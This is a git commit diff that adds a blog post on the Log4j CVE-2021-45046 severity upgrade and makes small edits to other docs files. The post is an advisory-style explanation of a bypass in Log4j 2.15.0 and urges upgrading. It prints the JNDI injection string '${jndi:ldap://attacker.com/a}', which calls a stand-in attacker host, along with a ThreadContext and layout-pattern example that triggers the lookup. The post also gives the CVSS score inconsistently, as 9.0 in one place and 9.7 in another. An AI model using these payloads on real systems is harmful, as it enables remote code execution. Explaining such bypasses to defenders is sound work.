Follow up post to CVE 2021 45046

docs/blog/2021-12-14-log4j-zero-day-update-on-CVE-2021-45046.mdx

@@ -1,5 +1,5 @@
 ---
-title: "Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046)" 
+title: "Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046)"
 description: A quick update on the situation now that a new log4j CVE has been created and patched in 2.16.0. We've done research and these are our findings.
 slug: log4j-zero-day-update-on-cve-2021-45046
 date: 2021-12-14

docs/blog/2021-12-18-log4j-update-increased-cvss.mdx

@@ -0,0 +1,160 @@
+---
+title: "Log4Shell Update: Severity Upgraded 3.7 -> 9.0 for Second log4j Vulnerability (CVE-2021-45046)"
+description: The second Log4j vulnerability was upgraded from a CVSS score of 3.7x (limited DOS) to a CVSS score of 9.7 (limited RCE), and we explain the impact.
+slug: log4j-zero-day-severity-of-cve-2021-45046-increased
+date: 2021-12-18
+image: https://www.lunasec.io/docs/img/log4shell-logo.png
+keywords: [log4shell, log4j, log4j2, rce, java, zero-day, mitigation]
+authors:
+- name: Free Wortley
+  title: CEO at LunaSec
+  url: https://github.com/freeqaz
+  image_url: https://github.com/freeqaz.png
+  tags: [zero-day, security, data-security, data-breaches, guides]
+- name: Chris Thompson
+  title: Developer at Lunasec
+  url: https://github.com/breadchris
+  image_url: https://github.com/breadchris.png
+- name: Forrest Allison
+  title: Developer at LunaSec
+  url: https://github.com/factoidforrest
+  image_url: https://github.com/factoidforrest.png
+
+---
+<!--
+  ~ Copyright by LunaSec (owned by Refinery Labs, Inc)
+  ~
+  ~ Licensed under the Creative Commons Attribution-ShareAlike 4.0 International
+  ~ (the "License"); you may not use this file except in compliance with the
+  ~ License. You may obtain a copy of the License at
+  ~
+  ~ https://creativecommons.org/licenses/by-sa/4.0/legalcode
+  ~
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  ~
+-->
+
+![Log4Shell Logo](https://www.lunasec.io/docs/img/log4shell-keeps-coming.png)
+
+_The logo gets worse as the situation gets worse..._
+
+**Just trying to fix this? Please read our dedicated
+[Mitigation Guide](https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/).**
+
+Earlier today, the second Log4j vulnerability (CVE-2021-45046) was upgraded from a [CVSS score of 3.7](https://web.archive.org/web/20211215180723/https://logging.apache.org/log4j/2.x/security.html)
+(limited DOS) to a [CVSS score of 9.7](https://logging.apache.org/log4j/2.x/security.html) (limited RCE).
+
+## Context on CVE Timeline
+
+The Log4j team had previously released version 2.15.0 on December 6th to address, which at the time had only been
+privately disclosed, the Log4Shell vulnerability that abused JNDI and LDAP to allow for an easily exploitable RCE
+vulnerability. We posted a
+[blog post](https://www.lunasec.io/docs/blog/log4j-zero-day/) about this new RCE that, at the time, was only being posted
+about by the Chinese InfoSec community on December 9th, 2021. This post made the broader InfoSec community aware of the
+ongoing exploitation and resulted in a frenzy as Java developers worked to patch themselves.
+
+The following day, on December 10th, an official CVE was associated with this RCE vulnerability as
+[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228) with the maximum possible CVSS score of
+10.0.
+
+In the days afterwards, it was realized that this fix was incomplete as bypasses were found that could result in a
+limited DOS for 2.15.0 users and, for users that had patched older Log4j releases using `formatMsgNoLookups`, these
+bypasses could be used to allow for limited RCE.
+
+Version 2.16.0 was released on December 13th to address the vulnerabilities by completely disabling JNDI by default.
+The next day, on December 14th, the second vulnerability was officially given a dedicated CVE numbered CVE-2021-45046
+with a limited 3.7 (now 9.0).
+
+In this post, we're going to talk about the impact of these changes and why the CVSS score has changed so drastically.
+
+<!--truncate-->
+
+## Understanding the new Bypass
+
+With more attention on Log4j library now from the security community, we have seen security researchers digging into the
+source code of this project. @pwntester [announced on Twitter](https://twitter.com/pwntester/status/1471465662975561734)
+that there is a possible RCE still present in 2.15.0, under certain conditions.
+
+> 2.15 with no formatMsgNoLookups mitigations is still vulnerable to RCE. 2.15.0 w/o those mitigations is vulnerable only
+if attackers can control non-message parts of the pattern layout. Just to make it clear 2.15.0 disables message text lookups
+by default, users need to enable them explicitly in the patterns with %m{lookups}. So mitigations are in place by default in 2.15.0
+
+Version 2.15.0 was released in order to prevent RCE by only allowing LDAP connections to local addresses by default. This
+development for the CVE means that there exists a bypass to these newly added security measures. Not everyone who has updated
+to 2.15.0 is vulnerable to RCE as it requires a specific logging configuration. Since the `formatMsgNoLookups` property
+is on by default in 2.15.0, to be vulnerable to this RCE, message text lookups must be manually enabled with `%m{lookups}`.
+
+However, there even still are other ways in which a message lookup can take place. Some examples are discussed on the Log4j
+security page:
+
+> The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above,
+there are still code paths in Log4j where message lookups could occur: known examples are applications that use
+Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not
+implement StringBuilderFormattable. There may be other attack vectors.
+
+To summarize, 2.15.0 introduced changes to prevent remote connections in a message lookup (ie. a connection to `attacker.com`
+will be blocked in: `${jndi:ldap://attacker.com/a}`), as well as disabled message lookups when logging by default:
+
+```
+String attackerData = "${jndi:ldap://attacker.com/a}";
+
+// Message lookups are blocked in this log statement. Payload will not fire by default.
+logger.info("Log string, but no lookup will happen: " + attackerData);
+```
+
+These changes were still not enough to prevent message lookups by default as there are other places in code where this could take place:
+
+```
+// Put attacker controlled data in
+ThreadContext.put("layout-pattern-value", attackerData);
+```
+
+An example `log4j2.properties` file might look something like:
+
+```
+# The attacker data, "${jndi:ldap://attacker.com/a}", will be attempted to be looked up
+appender.console.layout.pattern = ${ctx:layout-pattern-value} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n
+```
+
+However, since only local connections were allowed in 2.15.0, the impact of this vulnerability were minimal.
+The most impactful way to exploit this vulnerability was to have `String attackerData = "${ctx:layout-pattern-value"`
+which would result in a recursive reference in the lookup. With the reported bypass of the restrictive remote connection
+list, a full RCE is possible in the above code as we can access `attacker.com` now.
+
+It is strongly recommended that you update to 2.16.0, even if you have previously updated to 2.15.0, to mitigate these
+new bypasses.
+
+## Stay Updated
+
+Please follow us on [Twitter](https://twitter.com/LunaSecIO) or add yourself to our mailing list below, and we'll
+update you when we publish new findings.
+
+And if this post helped you, please share it with others to help them too.
+
+import ContactForm from '../src/components/ContactForm.jsx'
+
+<ContactForm/>
+
+## Additional Information
+
+We have published a series of posts about Log4Shell on our blog that you might be interested in:
+- **[Mitigation Guide](https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/)**,
+- **[Original Log4Shell Announcement](https://www.lunasec.io/docs/blog/log4j-zero-day/)**,
+- **[Part 1: Log4Shell Live Patch (Background Context)](https://www.lunasec.io/docs/blog/log4shell-live-patch/)**,
+- **[Part 2: Log4Shell Live Patch (Technical Deep-Dive)](https://www.lunasec.io/docs/blog/log4shell-live-patch-technical/)**
+
+### Limited Offer: Free Security Assistance
+
+We're also currently offering a free 30-minute consultation with one of our Security Engineers. If you're interested,
+please [book some time with us here](https://lunasec.youcanbook.me/).
+
+## Updates
+
+:::info
+We're continuously keeping this post up-to-date as new information comes out. If you have any questions, or you're
+confused about our advice, please [file an Issue](https://github.com/lunasec-io/lunasec/issues) on GitHub.
+
+If you would like to contribute, or notice any errors, this post is an Open Source Markdown file on
+[GitHub](https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2021-12-14-log4j-zero-day-update-on-CVE-2021-45046.mdx).
+:::

docs/typedoc-sidebar.js

@@ -1 +1,17 @@
+/*
+ * Copyright 2021 by LunaSec (owned by Refinery Labs, Inc)
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
 module.exports=[{type:'autogenerated',dirName:'cli-config'}];